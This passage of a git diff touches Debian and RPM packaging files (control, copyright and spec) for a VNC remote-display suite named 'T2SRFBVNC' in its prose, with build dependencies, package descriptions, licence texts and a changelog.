supports a wide variety of operating - systems and architectures as both servers and clients. - . - T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code - bases. T2SRFBVNC started as a next-generation development effort for TightVNC - on Unix and Linux platforms, but it split from its parent project in early 2009 - so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant - of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo - JPEG codec. - +Source: tigervnc +Section: x11 +Priority: optional +Maintainer: Brian P. Hinz +Standards-Version: 3.8.4 +Build-Depends: +# T2SRFBVNC dependencies + debhelper (>= 9), + dh-autoreconf, + po-debconf, + dpkg-dev (>= 1.16.1), + appstream, + cmake, + pkg-config, + gettext, + zlib1g-dev, + libjpeg-turbo8-dev, + libavcodec-dev, + libavutil-dev, + libswscale-dev, + libgnutls28-dev, + nettle-dev, + libgmp-dev, + libpam0g-dev, + libpng-dev, + libxrandr-dev, + libxdamage-dev, + libfltk1.3-dev, + xorg-server-source, + xserver-xorg-dev, + openjdk-8-jdk, + uuid-dev, + libglib2.0-dev, + libpipewire-0.3-dev, +# Xorg dependencies +# debhelper-compat (= 12), + quilt, + bison, + flex, + xutils-dev (>= 1:7.6+4), + xfonts-utils (>= 1:7.5+1), + x11proto-dev (>= 2021.5), + xtrans-dev (>= 1.3.5), + libxau-dev (>= 1:1.0.5-2), + libxcvt-dev, + libxdmcp-dev (>= 1:0.99.1), + libxfont-dev (>= 1:2.0.1), + libxkbfile-dev (>= 1:0.99.1), + libpixman-1-dev (>= 0.27.2), + libpciaccess-dev (>= 0.12.901), + libgcrypt20-dev, + libudev-dev (>= 151-3) [linux-any], + libselinux1-dev (>= 2.0.80) [linux-any], + libaudit-dev [linux-any], + libdrm-dev (>= 2.4.107-5~) [!hurd-i386], + libgl1-mesa-dev (>= 9.2), + mesa-common-dev, +# Don't use libunwind for armel, armhf, and arm64 as this library is buggy (bug #923962) on those architectures. + libunwind-dev [amd64 hppa i386 ia64 mips64 mips64el mipsel powerpc powerpcspe ppc64 ppc64el sh4], + libxmuu-dev (>= 1:0.99.1), + libxext-dev (>= 1:0.99.1), + libx11-dev (>= 2:1.6), + libxrender-dev (>= 1:0.9.0), + libxi-dev (>= 2:1.8), + libxpm-dev (>= 1:3.5.3), + libxaw7-dev (>= 1:0.99.1), + libxt-dev (>= 1:0.99.1), + libxmu-dev (>= 1:0.99.1), + libxtst-dev (>= 1:0.99.1), + libxres-dev (>= 1:0.99.1), + libxfixes-dev (>= 1:3.0.0), + libxv-dev, + libxinerama-dev, + libxshmfence-dev (>= 1.1) [!hurd-i386], +# glamor + libepoxy-dev [linux-any kfreebsd-any], + libegl1-mesa-dev [linux-any kfreebsd-any], + libgbm-dev (>= 10.2) [linux-any kfreebsd-any], +## XCB bits for Xephyr +# libx11-xcb-dev, +# libxcb1-dev, +# libxcb-xkb-dev, +# libxcb-shape0-dev, +# libxcb-render0-dev, +# libxcb-render-util0-dev, +# libxcb-util0-dev, +# libxcb-image0-dev, +# libxcb-icccm4-dev, +# libxcb-shm0-dev, +# libxcb-keysyms1-dev, +# libxcb-randr0-dev, +# libxcb-xv0-dev, +# libxcb-glx0-dev, +# libxcb-xf86dri0-dev (>= 1.6), +# unit tests + xkb-data, + x11-xkb-utils, +# arc4random_buf(), getpeereid() + libbsd-dev, +#logind + libdbus-1-dev (>= 1.0) [linux-any], +# systemd-daemon + libsystemd-dev [linux-any], +Homepage: http://www.tigervnc.com + +Package: tigervncserver +Architecture: any +Provides: + xserver, + vnc-server +Depends: + x11-common | xserver-common, + x11-utils, + xauth, + x11-xkb-utils, + ${shlibs:Depends}, + ${perl:Depends}, + ${misc:Depends} +Recommends: + xfonts-base, + x11-xserver-utils +Suggests: + xtigervncviewer, + tigervnc-java +Description: virtual network computing server software + Virtual Network Computing (VNC) is a remote display system which allows you to + view and interact with a virtual desktop environment that is running on another + computer on the network. Using VNC, you can run graphical applications on a + remote machine and send only the display from these applications to your local + machine. VNC is platform-independent and supports a wide variety of operating + systems and architectures as both servers and clients. + . + T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code + bases. T2SRFBVNC started as a next-generation development effort for TightVNC + on Unix and Linux platforms, but it split from its parent project in early 2009 + so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant + of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo + JPEG codec. + +Package: xtigervncviewer +Architecture: any +Provides: + vncviewer, + vnc-viewer +Depends: + ${shlibs:Depends}, + ${misc:Depends} +Recommends: + xfonts-base +Suggests: + tigervncserver, + ssh +Description: virtual network computing client software for X + Virtual Network Computing (VNC) is a remote display system which allows you to + view and interact with a virtual desktop environment that is running on another + computer on the network. Using VNC, you can run graphical applications on a + remote machine and send only the display from these applications to your local + machine. VNC is platform-independent and supports a wide variety of operating + systems and architectures as both servers and clients. + . + T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code + bases. T2SRFBVNC started as a next-generation development effort for TightVNC + on Unix and Linux platforms, but it split from its parent project in early 2009 + so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant + of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo + JPEG codec. + +Package: tigervnc-java +Architecture: any +Suggests: + tigervncserver +Provides: + vncviewer, + vnc-viewer +Depends: + default-jre +Description: T2SRFBVNC java applet + Virtual Network Computing (VNC) is a remote display system which allows you to + view and interact with a virtual desktop environment that is running on another + computer on the network. Using VNC, you can run graphical applications on a + remote machine and send only the display from these applications to your local + machine. VNC is platform-independent and supports a wide variety of operating + systems and architectures as both servers and clients. + . + T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code + bases. T2SRFBVNC started as a next-generation development effort for TightVNC + on Unix and Linux platforms, but it split from its parent project in early 2009 + so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant + of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo + JPEG codec. + diff --git a/T2SRFB/contrib/packages/deb/ubuntu-noble/debian/copyright b/T2SRFB/contrib/packages/deb/ubuntu-noble/debian/copyright index d656336..ce3b422 100644 --- a/T2SRFB/contrib/packages/deb/ubuntu-noble/debian/copyright +++ b/T2SRFB/contrib/packages/deb/ubuntu-noble/debian/copyright @@ -1,116 +1,116 @@ -This package was packaged for Debian by Brian P. Hinz -on Tue, 18 Jun 2024 18:54:03 -0400 using the tightvnc package as a base. - -It was downloaded from: - https://www.tigervnc.org/ - -COPYRIGHT: -========== - -T2SRFBVNC is - - Copyright (C) 1999 AT&T Laboratories Cambridge - Copyright (C) 2002-2005 RealVNC Ltd. - Copyright (C) 2000-2006 TightVNC Group - Copyright (C) 2005-2006 Martin Koegler - Copyright (C) 2005-2006 Sun Microsystems, Inc. - Copyright (C) 2006 OCCAM Financial Technology - Copyright (C) 2000-2008 Constantin Kaplinsky - Copyright (C) 2004-2017 Peter Astrand for Cendio AB - Copyright (C) 2010 Antoine Martin - Copyright (C) 2010 m-privacy GmbH - Copyright (C) 2009-2011 D. R. Commander - Copyright (C) 2009-2011 Pierre Ossman for Cendio AB - Copyright (C) 2004, 2009-2011 Red Hat, Inc. - Copyright (C) 2009-2024 T2SRFBVNC Team - All Rights Reserved. - -This software is distributed under the GNU General Public Licence as published -by the Free Software Foundation. See the file LICENCE.TXT for the conditions -under which this software is made available. T2SRFBVNC also contains code from -other sources. See the Acknowledgements section below, and the individual -source files, for details of the conditions under which they are made -available. - -ACKNOWLEDGEMENTS -================ - -This distribution contains zlib compression software. This is: - - Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler - - This software is provided 'as-is', without any express or implied - warranty. In no event will the authors be held liable for any damages - arising from the use of this software. - - Permission is granted to anyone to use this software for any purpose, - including commercial applications, and to alter it and redistribute it - freely, subject to the following restrictions: - - 1. The origin of this software must not be misrepresented; you must not - claim that you wrote the original software. If you use this software - in a product, an acknowledgment in the product documentation would be - appreciated but is not required. - 2. Altered source versions must be plainly marked as such, and must not be - misrepresented as being the original software. - 3. This notice may not be removed or altered from any source distribution. - - Jean-loup Gailly Mark Adler - jloup@gzip.org madler@alumni.caltech.edu - - The data format used by the zlib library is described by RFCs (Request for - Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt - (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). - - -This distribution contains public domain DES software by Richard Outerbridge. -This is: - - Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. - (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. - - -This distribution contains software from the X Window System. This is: - - Copyright 1987, 1988, 1998 The Open Group - - Permission to use, copy, modify, distribute, and sell this software and its - documentation for any purpose is hereby granted without fee, provided that - the above copyright notice appear in all copies and that both that - copyright notice and this permission notice appear in supporting - documentation. - - The above copyright notice and this permission notice shall be included in - all copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN - AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN - CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - - Except as contained in this notice, the name of The Open Group shall not be - used in advertising or otherwise to promote the sale, use or other dealings - in this Software without prior written authorization from The Open Group. - - - Copyright 1987, 1988 by Digital Equipment Corporation, Maynard, Massachusetts. - - All Rights Reserved - - Permission to use, copy, modify, and distribute this software and its - documentation for any purpose and without fee is hereby granted, - provided that the above copyright notice appear in all copies and that - both that copyright notice and this permission notice appear in - supporting documentation, and that the name of Digital not be - used in advertising or publicity pertaining to distribution of the - software without specific, written prior permission. - - DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING - ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL - DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR - ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, - WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, - ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS - SOFTWARE. +This package was packaged for Debian by Brian P. Hinz +on Tue, 18 Jun 2024 18:54:03 -0400 using the tightvnc package as a base. + +It was downloaded from: + https://www.tigervnc.org/ + +COPYRIGHT: +========== + +T2SRFBVNC is + + Copyright (C) 1999 AT&T Laboratories Cambridge + Copyright (C) 2002-2005 RealVNC Ltd. + Copyright (C) 2000-2006 TightVNC Group + Copyright (C) 2005-2006 Martin Koegler + Copyright (C) 2005-2006 Sun Microsystems, Inc. + Copyright (C) 2006 OCCAM Financial Technology + Copyright (C) 2000-2008 Constantin Kaplinsky + Copyright (C) 2004-2017 Peter Astrand for Cendio AB + Copyright (C) 2010 Antoine Martin + Copyright (C) 2010 m-privacy GmbH + Copyright (C) 2009-2011 D. R. Commander + Copyright (C) 2009-2011 Pierre Ossman for Cendio AB + Copyright (C) 2004, 2009-2011 Red Hat, Inc. + Copyright (C) 2009-2024 T2SRFBVNC Team + All Rights Reserved. + +This software is distributed under the GNU General Public Licence as published +by the Free Software Foundation. See the file LICENCE.TXT for the conditions +under which this software is made available. T2SRFBVNC also contains code from +other sources. See the Acknowledgements section below, and the individual +source files, for details of the conditions under which they are made +available. + +ACKNOWLEDGEMENTS +================ + +This distribution contains zlib compression software. This is: + + Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler + + This software is provided 'as-is', without any express or implied + warranty. In no event will the authors be held liable for any damages + arising from the use of this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: + + 1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. + 2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. + 3. This notice may not be removed or altered from any source distribution. + + Jean-loup Gailly Mark Adler + jloup@gzip.org madler@alumni.caltech.edu + + The data format used by the zlib library is described by RFCs (Request for + Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt + (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). + + +This distribution contains public domain DES software by Richard Outerbridge. +This is: + + Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. + (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. + + +This distribution contains software from the X Window System. This is: + + Copyright 1987, 1988, 1998 The Open Group + + Permission to use, copy, modify, distribute, and sell this software and its + documentation for any purpose is hereby granted without fee, provided that + the above copyright notice appear in all copies and that both that + copyright notice and this permission notice appear in supporting + documentation. + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN + AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + Except as contained in this notice, the name of The Open Group shall not be + used in advertising or otherwise to promote the sale, use or other dealings + in this Software without prior written authorization from The Open Group. + + + Copyright 1987, 1988 by Digital Equipment Corporation, Maynard, Massachusetts. + + All Rights Reserved + + Permission to use, copy, modify, and distribute this software and its + documentation for any purpose and without fee is hereby granted, + provided that the above copyright notice appear in all copies and that + both that copyright notice and this permission notice appear in + supporting documentation, and that the name of Digital not be + used in advertising or publicity pertaining to distribution of the + software without specific, written prior permission. + + DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING + ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL + DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR + ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, + WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, + ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + SOFTWARE. diff --git a/T2SRFB/contrib/packages/rpm/el8/SPECS/tigervnc.spec b/T2SRFB/contrib/packages/rpm/el8/SPECS/tigervnc.spec index fb6baa1..9ee05ec 100644 --- a/T2SRFB/contrib/packages/rpm/el8/SPECS/tigervnc.spec +++ b/T2SRFB/contrib/packages/rpm/el8/SPECS/tigervnc.spec @@ -1,724 +1,724 @@ -#defining macros needed by SELinux -%global selinuxtype targeted -%global modulename vncsession - -Name: tigervnc -Version: @VERSION@ -Release: 1%{?snap:.%{snap}}%{?dist} -Summary: A T2SRFBVNC remote display system - -%global _hardened_build 1 - -License: GPLv2+ -URL: http://www.tigervnc.com - -Source0: %{name}-%{version}%{?snap:-%{snap}}.tar.bz2 -Source3: 10-libvnc.conf - -BuildRequires: make -BuildRequires: gcc-c++ -BuildRequires: automake, autoconf, libtool, gettext, gettext-autopoint -BuildRequires: cmake, desktop-file-utils, appstream -BuildRequires: libxkbfile-devel, openssl-devel, libpciaccess-devel -BuildRequires: freetype-devel, libjpeg-turbo-devel, pam-devel -BuildRequires: gnutls-devel, nettle-devel, gmp-devel -BuildRequires: zlib-devel -BuildRequires: libuuid-devel, glib2-devel, pipewire-devel -# X11/graphics dependencies -BuildRequires: xorg-x11-server-source -BuildRequires: libXext-devel, libX11-devel, libXi-devel, libXfixes-devel -BuildRequires: libXdamage-devel, libXrandr-devel, libXt-devel, libXdmcp-devel -BuildRequires: libXinerama-devel, mesa-libGL-devel, libxshmfence-devel -BuildRequires: pixman-devel, libdrm-devel, mesa-libgbm-devel -BuildRequires: xorg-x11-util-macros, xorg-x11-xtrans-devel, libXtst-devel -BuildRequires: xorg-x11-font-utils -BuildRequires: libXfont2-devel -# SELinux -BuildRequires: libselinux-devel, selinux-policy-devel -BuildRequires: systemd-devel - -# T2SRFBVNC 1.4.x requires fltk 1.3.3 for keyboard handling support -# See https://github.com/T2SRFBVNC/tigervnc/issues/8, also bug #1208814 -BuildRequires: fltk-devel >= 1.3.3 -BuildRequires: xorg-x11-server-devel - -Requires: hicolor-icon-theme -Requires: tigervnc-license -Requires: tigervnc-icons - -%description -Virtual Network Computing (VNC) is a remote display system which -allows you to view a computing 'desktop' environment not only on the -machine where it is running, but from anywhere on the Internet and -from a wide variety of machine architectures. This package contains a -client which will allow you to connect to other desktops running a VNC -server. - -%package server -Summary: A T2SRFBVNC server -Requires: perl-interpreter -Requires: tigervnc-server-minimal = %{version}-%{release} -Requires: (%{name}-selinux if selinux-policy-%{selinuxtype}) -Requires: xorg-x11-xauth -Requires: xorg-x11-xinit - -%description server -The VNC system allows you to access the same desktop from a wide -variety of platforms. This package includes set of utilities -which make usage of T2SRFBVNC server more user friendly. It also -contains x0vncserver program which can export your active -X session. - -%package server-minimal -Summary: A minimal installation of T2SRFBVNC server -Requires(post): systemd -Requires(preun): systemd -Requires(postun): systemd -Requires(post): systemd - -Requires: mesa-dri-drivers, xkeyboard-config, xkbcomp -Requires: tigervnc-license, dbus-x11 - -%description server-minimal -The VNC system allows you to access the same desktop from a wide -variety of platforms. This package contains minimal installation -of T2SRFBVNC server, allowing others to access the desktop on your -machine. - -%package server-module -Summary: T2SRFBVNC module to Xorg -Requires: xorg-x11-server-Xorg %(xserver-sdk-abi-requires ansic) %(xserver-sdk-abi-requires videodrv) -Requires: tigervnc-license - -%description server-module -This package contains libvnc.so module to X server, allowing others -to access the desktop on your machine. - -%package license -Summary: License of T2SRFBVNC suite -BuildArch: noarch - -%description license -This package contains license of the T2SRFBVNC suite - -%package icons -Summary: Icons for T2SRFBVNC viewer -BuildArch: noarch - -%description icons -This package contains icons for T2SRFBVNC viewer - -%package selinux -Summary: SELinux module for T2SRFBVNC -BuildArch: noarch -BuildRequires: selinux-policy-devel -Requires: selinux-policy-%{selinuxtype} -Requires(post): selinux-policy-%{selinuxtype} -BuildRequires: selinux-policy-devel -%{?selinux_requires} - -%description selinux -This package provides the SELinux policy module to ensure T2SRFBVNC -runs properly under an environment with SELinux enabled. - -%prep -%setup -q -n %{name}-%{version}%{?snap:-%{snap}} - -cp -r /usr/share/xorg-x11-server-source/* unix/xserver -pushd unix/xserver -for all in `find . -type f -perm -001`; do - chmod -x "$all" -done -xserver_patch="../xserver$(rpm -q --qf '%%{VERSION}' xorg-x11-server-source | awk -F. '{ print $1 $2 }').patch" -patch -p1 -b --suffix .vnc < "$xserver_patch" -popd - -%build -%ifarch sparcv9 sparc64 s390 s390x -export CFLAGS="$RPM_OPT_FLAGS -fPIC" -%else -export CFLAGS="$RPM_OPT_FLAGS -fpic" -%endif -export CXXFLAGS="$CFLAGS -std=c++11" - -%cmake \ - -DENABLE_NLS=ON \ - -DENABLE_GNUTLS=ON \ - -DENABLE_NETTLE=ON \ - -DENABLE_SELINUX=ON \ - -DENABLE_SYSTEMD=ON \ - -DENABLE_WAYLAND=ON \ - -DBUILD_VIEWER=ON - -%cmake_build - -pushd unix/xserver - -autoreconf -fiv -%configure \ - --disable-xorg --disable-xnest --disable-xvfb --disable-dmx \ - --disable-xwin --disable-xephyr --disable-kdrive --disable-xwayland \ - --with-pic --disable-static \ - --with-default-font-path="catalogue:%{_sysconfdir}/X11/fontpath.d,built-ins" \ - --with-xkb-output=%{_localstatedir}/lib/xkb \ - --enable-glx --disable-dri --enable-dri2 --enable-dri3 \ - --disable-unit-tests \ - --disable-config-hal \ - --disable-config-udev \ - --without-dtrace \ - --disable-devel-docs \ - --disable-selective-werror - -make %{?_smp_mflags} -popd - -# SELinux -pushd unix/vncserver/selinux -make -popd - -%install -%cmake_install - -pushd unix/xserver/hw/vnc -%make_install -popd - -# Install systemd unit file -pushd unix/vncserver/selinux -make install DESTDIR=%{buildroot} -popd - -%find_lang %{name} %{name}.lang - -# remove unwanted files -rm -f %{buildroot}%{_libdir}/xorg/modules/extensions/libvnc.la - -mkdir -p %{buildroot}%{_sysconfdir}/X11/xorg.conf.d/ -install -m 644 %{SOURCE3} %{buildroot}%{_sysconfdir}/X11/xorg.conf.d/10-libvnc.conf - -%pre selinux -%selinux_relabel_pre -s %{selinuxtype} - -%post selinux -%selinux_modules_install -s %{selinuxtype} %{_datadir}/selinux/packages/%{selinuxtype}/%{modulename}.pp.bz2 -%selinux_relabel_post -s %{selinuxtype} - -%postun selinux -if [ $1 -eq 0 ]; then - %selinux_modules_uninstall -s %{selinuxtype} %{modulename} - %selinux_relabel_post -s %{selinuxtype} -fi - - -%files -f %{name}.lang -%doc %{_docdir}/%{name}/README.rst -%{_bindir}/vncviewer -%{_datadir}/applications/* -%{_datadir}/metainfo/* -%{_mandir}/man1/vncviewer.1* - -%files server -%config(noreplace) %{_sysconfdir}/pam.d/tigervnc -%config(noreplace) %{_sysconfdir}/tigervnc/vncserver-config-defaults -%config(noreplace) %{_sysconfdir}/tigervnc/vncserver-config-mandatory -%config(noreplace) %{_sysconfdir}/tigervnc/vncserver.users -%{_unitdir}/vncserver@.service -%{_bindir}/x0vncserver -%{_bindir}/w0vncserver -%{_sbindir}/vncsession -%{_libexecdir}/vncserver -%{_libexecdir}/vncsession-start -%{_mandir}/man1/x0vncserver.1* -%{_mandir}/man1/w0vncserver.1* -%{_mandir}/man8/vncserver.8* -%{_mandir}/man8/vncsession.8* -%doc %{_docdir}/%{name}/HOWTO.md - -%files server-minimal -%{_bindir}/vncconfig -%{_bindir}/vncpasswd -%{_bindir}/Xvnc -%{_mandir}/man1/Xvnc.1* -%{_mandir}/man1/vncpasswd.1* -%{_mandir}/man1/vncconfig.1* - -%files server-module -%{_libdir}/xorg/modules/extensions/libvnc.so -%config(noreplace) %{_sysconfdir}/X11/xorg.conf.d/10-libvnc.conf - -%files license -%doc %{_docdir}/%{name}/LICENCE.TXT - -%files icons -%{_datadir}/icons/hicolor/*/apps/* - -%files selinux -%{_datadir}/selinux/packages/%{selinuxtype}/%{modulename}.pp.* -%ghost %verify(not md5 size mtime) %{_sharedstatedir}/selinux/%{selinuxtype}/active/modules/200/%{modulename} - -%changelog -* Fri Aug 19 2022 Pierre Ossman 1.12.80-1 -- Synced with current Fedora packaging - -* Tue May 18 2021 Jan Grulich 1.11.0-1 -- SELinux package improvements - -* Mon Jul 27 2020 Mark Mielke 1.10.1-1 -- Update build requirements and fix unexpected rpm macro expansion. - -* Tue Oct 22 2019 Evan Burns 1.9.80-5 -- Add support for CentOS 8 - -* Mon Feb 11 2019 Mark Mielke 1.9.80-5 -- Automatically detect and apply the correct X.org patch. - -* Mon Jan 14 2019 Pierre Ossman 1.9.80-4 -- Use system FLTK for build -- Add libXrandr-devel as a dependency so x0vncserver gets resize support. - -* Sun Dec 09 2018 Mark Mielke 1.9.80-3 -- Update package dependencies to require version alignment between packages. - -* Mon Nov 26 2018 Brian P. Hinz 1.9.80-2 -- Bumped Xorg version to 1.20 - -* Sun Jul 22 2018 Brian P. Hinz 1.9.80-1 -- Updated fltk to latest version - -* Thu Dec 24 2015 Brian P. Hinz 1.6.80-1 -- Adapted from RedHat EL7 Spec - -* Wed Sep 02 2015 Jan Grulich - 1.3.1-3 -- Do not mention that display number is required in the file name - Resolves: bz#1195266 - -* Thu Jul 30 2015 Jan Grulich - 1.3.1-2 -- Resolves: bz#1248422 - CVE-2014-8240 CVE-2014-8241 tigervnc: various flaws - -* Wed Apr 15 2015 Jan Grulich - 1.3.1-1 -- Drop unecessary patches -- Re-base to 1.3.1 (bug #1199453) -- Re-build against re-based xserver (bug #1194898) -- Check the return value from XShmAttach (bug #1072733) -- Add missing part of xserver114.patch (bug #1140603) -- Keep pointer in sync (bug #1100661) -- Make input device class global (bug #1119640) -- Add IPv6 support (bug #1162722) -- Set initial mode as prefered (bug #1181287) -- Do not mention that display number is required in the file name (bug #1195266) -- Enable Xinerama extension (bug #1199437) -- Specify full path for runuser command (bug #1208817) - -* Tue Sep 23 2014 Tim Waugh - 1.2.80-0.31.20130314svn5065 -- Rebuilt against xorg-x11-server to pick up ppc64le fix (bug #1140424). - -* Mon Mar 10 2014 Tim Waugh - 1.2.80-0.30.20130314svn5065 -- Fixed heap-based buffer overflow (CVE-2014-0011, bug #1050928). - -* Tue Feb 18 2014 Tim Waugh - 1.2.80-0.29.20130314svn5065 -- Previous patch was not applied. - -* Mon Feb 10 2014 Tim Waugh - 1.2.80-0.28.20130314svn5065 -- Clearer xstartup file (bug #923655). - -* Tue Jan 28 2014 Tim Waugh - 1.2.80-0.27.20130314svn5065 -- Use keyboard input code from tigervnc-1.3.0 (bug #1053536). - -* Fri Jan 24 2014 Daniel Mach - 1.2.80-0.26.20130314svn5065 -- Mass rebuild 2014-01-24 - -* Fri Jan 10 2014 Tim Waugh - 1.2.80-0.25.20130314svn5065 -- Fixed viewer crash when cursor has not been set (bug #1051333). - -* Fri Dec 27 2013 Daniel Mach - 1.2.80-0.24.20130314svn5065 -- Mass rebuild 2013-12-27 - -* Thu Dec 12 2013 Tim Waugh 1.2.80-0.23.20130314svn5065 -- Avoid invalid read when ZRLE connection closed (bug #1039926). - -* Tue Dec 10 2013 Tim Waugh 1.2.80-0.22.20130314svn5065 -- Fixed GLX initialisation (bug #1039126). - -* Tue Nov 19 2013 Tim Waugh 1.2.80-0.21.20130314svn5065 -- Better fix for PIDFile problem (bug #1031625). - -* Fri Nov 08 2013 Adam Jackson 1.2.80-0.20.20130314svn5065 -- Rebuild against xserver 1.15RC1 - -* Wed Jul 24 2013 Tim Waugh 1.2.80-0.18.20130314svn5065 -- Avoid PIDFile problems in systemd unit file (bug #983232). -- Don't use shebang in vncserver script. - -* Wed Jul 3 2013 Tim Waugh 1.2.80-0.18.20130314svn5065 -- Removed systemd_requires macro in order to fix the build. - -* Wed Jul 3 2013 Tim Waugh 1.2.80-0.17.20130314svn5065 -- Synchronise manpages and --help output (bug #980870). - -* Mon Jun 17 2013 Adam Jackson 1.2.80-0.16.20130314svn5065 -- tigervnc-setcursor-crash.patch: Attempt to paper over a crash in Xvnc when - setting the cursor. - -* Sat Jun 08 2013 Dennis Gilmore 1.2.80-0.15.20130314svn5065 -- bump to rebuild and pick up bugfix causing X to crash on ppc and arm - -* Thu May 23 2013 Tim Waugh 1.2.80-0.14.20130314svn5065 -- Use systemd rpm macros (bug #850340). Moved systemd requirements - from main package to server sub-package. -- Applied Debian patch to fix busy loop when run from inetd in nowait - mode (bug #920373). -- Added dependency on xorg-x11-xinit to server sub-package so that - default window manager can be found (bug #896284, bug #923655). -- Fixed bogus changelog date. - -* Thu Mar 14 2013 Adam Jackson 1.2.80-0.13.20130314svn5065 -- Less RHEL customization - -* Thu Mar 14 2013 Adam Tkac - 1.2.80-0.12.20130314svn5065 -- include /etc/X11/xorg.conf.d/10-libvnc.conf sample configuration (#712482) -- vncserver now honors specified -geometry parameter (#755947) - -* Tue Mar 12 2013 Adam Tkac - 1.2.80-0.11.20130307svn5060 -- update to r5060 -- split icons to separate package to avoid multilib issues - -* Tue Feb 19 2013 Adam Tkac - 1.2.80-0.10.20130219svn5047 -- update to r5047 (X.Org 1.14 support) - -* Fri Feb 15 2013 Fedora Release Engineering - 1.2.80-0.9.20121126svn5015 -- Rebuilt for https://fedoraproject.org/wiki/Fedora_19_Mass_Rebuild - -* Mon Jan 21 2013 Adam Tkac - 1.2.80-0.8.20121126svn5015 -- rebuild due to "jpeg8-ABI" feature drop - -* Wed Jan 16 2013 Adam Tkac 1.2.80-0.7.20121126svn5015 -- rebuild - -* Tue Dec 04 2012 Adam Tkac 1.2.80-0.6.20121126svn5015 -- rebuild against new fltk - -* Mon Nov 26 2012 Adam Tkac 1.2.80-0.5.20121126svn5015 -- update to r5015 -- build with -fpic instead of -fPIC on all archs except s390/sparc - -* Wed Nov 7 2012 Peter Robinson 1.2.80-0.4.20120905svn4996 -- Build with -fPIC to fix FTBFS on ARM - -* Wed Oct 31 2012 Adam Jackson 1.2.80-0.3.20120905svn4996 -- tigervnc12-xorg113-glx.patch: Fix to only init glx on the first server - generation - -* Fri Sep 28 2012 Adam Jackson 1.2.80-0.2.20120905svn4996 -- tigervnc12-xorg113-glx.patch: Re-enable GLX against xserver 1.13 - -* Fri Aug 17 2012 Adam Tkac 1.2.80-0.1.20120905svn4996 -- update to 1.2.80 -- remove deprecated patches - - tigervnc-102434.patch - - tigervnc-viewer-reparent.patch - - tigervnc11-java7.patch -- patches merged - - tigervnc11-xorg111.patch - - tigervnc11-xorg112.patch - -* Fri Aug 10 2012 Dave Airlie 1.1.0-10 -- fix build against newer X server - -* Mon Jul 23 2012 Adam Jackson 1.1.0-9 -- Build with the Composite extension for feature parity with other X servers - -* Sat Jul 21 2012 Fedora Release Engineering - 1.1.0-8 -- Rebuilt for https://fedoraproject.org/wiki/Fedora_18_Mass_Rebuild - -* Thu Jul 19 2012 Dave Airlie 1.1.0-7 -- fix building against X.org 1.13 - -* Wed Apr 04 2012 Adam Jackson 1.1.0-6 -- RHEL exclusion for -server-module on ppc* too - -* Mon Mar 26 2012 Adam Tkac - 1.1.0-5 -- clean Xvnc's /tmp environment in service file before startup -- fix building against the latest JAVA 7 and X.Org 1.12 - -* Sat Jan 14 2012 